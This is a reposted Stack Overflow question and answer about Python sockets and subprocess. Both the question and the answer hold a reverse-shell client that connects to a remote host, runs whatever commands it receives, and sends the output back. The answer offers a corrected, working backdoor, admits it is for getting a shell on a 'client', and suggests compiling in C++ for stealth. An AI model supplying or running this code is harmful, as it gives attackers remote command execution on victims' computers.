How to use sockets in Python and subprocess?

最后都变了- 提交于 2021-02-17 03:55:05

问题


/*

Hey, this script is purely for fun, not anything illegal, besides its easy to stop and detect. Further on if I were to use it for illegal activities, why would I post it here?

*/

My problem is that I am not able to execute cmd commands from the client. I am not sure why although I have a hint that it is to do with some kind of socket error. When I try to execute the command it just does nothing no matter how long I wait. It's nothing wrong with the client as I have tested it out with a simpler version of the code below.

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('IP here')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
def start():
    conntrue = None
    while conntrue is None:
        try:
            conntrue = s.connect((host, port))
            s.send("[+] We are connected to %s") % (username)
            while True:
                try:
                    exec_code = s.recv(1024)
                    if exec_code == "quit":
                        break
                    elif exec_code == "Hey":
                        try:
                            proc = subprocess.Popen("MsgBox " + username + " Hey", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                            stdout_value = proc.stdout.read() + proc.stderr.read()
                            s.send(stdout_value)
                        except:
                            s.send("[+] was wrong, just exec it manually")
                    else:
                        proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                        stdout_value = proc.stdout.read() + proc.stderr.read()
                        s.send(stdout_value)
                except:
                    s.close()
        except:
            conntrue = None
            pass
    s.close()
start()

回答1:


Here you go,this is a working code to get a shell from your client. I doubt you will be able to use this anything illegal anyway, python is not for backdoors. You should consider C++ for this kind of code as not only is fast but it can be compiled into an exe. Whereas python requires the python interpreter and therefore cannot run on windows(unless you get py2exe).

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
    try:
        connection = s.connect((host, port))
        s.send("[+] We are connected to %s" % username)
        while True:
            try:
                exec_code = s.recv(1024)
                if exec_code == "quit":
                    break
                else:
                    proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    s.send(stdout_value)
            except Exception, err:
                print err
    except Exception, e:
        print e
s.close()

Try not to use except by itself use except Exception,variable to find mistakes in code then replace with the bare except.



来源:https://stackoverflow.com/questions/33147442/how-to-use-sockets-in-python-and-subprocess

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!